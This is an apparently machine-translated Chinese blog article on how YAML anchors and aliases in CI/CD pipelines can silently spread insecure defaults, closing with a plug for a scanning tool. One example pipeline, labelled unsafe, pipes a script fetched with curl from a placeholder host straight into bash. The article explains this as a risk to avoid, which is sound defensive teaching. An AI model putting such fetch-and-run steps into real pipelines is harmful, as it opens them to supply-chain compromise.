YAML 锚点和别名如何工作 CI/CD Pipelines
YAML 锚点 别名是保持 CI/CD pipeline 定义 DRY（不要重复自己）。锚点定义可重用的块（＆锚) 和别名 (*别名) 复制其内容（无论引用到哪里）。此功能适用于 GitHub Actions、GitLab CI 和 CircleCI 等热门平台。
这是一个简单的例子：
.defaults: &defaults
image: node:18
before_script:
- npm install
job1:
<<: *defaults
script:
- npm run test
job2:
<<: *defaults
script:
- npm run build
⚠️ 不安全的示例，请勿在生产中使用
虽然像这样的锚点 YAML 模式提高了可维护性，但它们也可能抽象出重要的上下文。在 CI/CD，其中配置是代码，YAML 锚点和别名可以默默传播不安全的默认值，而开发人员不会意识到继承了什么。
Anchors YAML 结构中隐藏的安全风险
他们的问题 重要的不是语法，而是它们的使用方式（或误用）。诸如权限过宽、跳过验证或硬编码机密之类的安全设置可以嵌入锚点中，并在任何地方重复使用。
计费示例：
.unsafe: &unsafe
script:
- curl http://insecure.example.com/setup.sh | bash
rules:
- when: always
job-dev:
<<: *unsafe
job-prod:
<<: *unsafe
此锚点（不安全) 包含不安全的 curl | bash 注入到多个作业中的模式。即使只有一个作业应该有不同的验证或密钥处理，现在它也会受到攻击。锚点的 YAML 结构 使得在审查过程中很容易忽略该错误。
YAML Anchor 配置错误如何导致供应链暴露
单一配置错误 YAML 锚点 可以将不安全的逻辑级联到多个 pipelines. 当使用别名时，如果没有明确的文档或可见性，很容易无意中继承危险行为。
考虑这种情况：
- A .ci-模板 repo 定义了共享锚点 建立, 部署和 测试.
- 跨多个团队的项目使用 <<: *构建阶段 而不审查其内容。
- 后来，有人修改了锚点以跳过依赖项的签名验证。
现在每个消费 pipeline 继承了这种不安全的逻辑。这是一个经典的 软件供应链风险：通过静默复制不安全的模板 YAML 锚点和别名.
这类漏洞在传统的代码审查中并不总能被发现。锚点 YAML 滥用隐藏在别名背后，使得 CI/CD 逻辑不透明。
在 DevSecOps 中保护 Anchors YAML Pipelines
安全使用最佳实践 锚点和别名 包括：
- 尽量减少锚点：避免将过多的职责塞进一个锚点。将逻辑拆分成多个独立的、名称清晰的锚点。
- 使用明确的工作定义 安全边界很重要，特别是在开发和生产阶段之间。
- 避免在不同环境中重复使用锚点 除非必要。为开发、暂存和生产定义单独的锚点。
- 扫描模板和继承链 在集中 CI/CD 配置存储库。
切勿嵌入秘密 放入锚中。务必确保安全取用。
结语
YAML 锚点和别名是强大的生产力提升器，但如果管理不善，就会直接带来供应链风险。它们会悄无声息地传播不安全的默认值，削弱阶段隔离，并掩盖代码中的关键逻辑。 CI/CD pipelines.
以确保 pipeline基于 YAML 锚结构构建，强制可见性，限制锚重用，并处理 CI/CD 配置必须与应用程序代码一样严格审查。滥用锚点不仅仅是样式问题，它们还是一个攻击面。 像工具一样 西吉尼 可以检测滥用的锚点，阻止不安全的模式，并让团队全面了解继承的 CI/CD 逻辑，在不安全的代码投入生产之前。
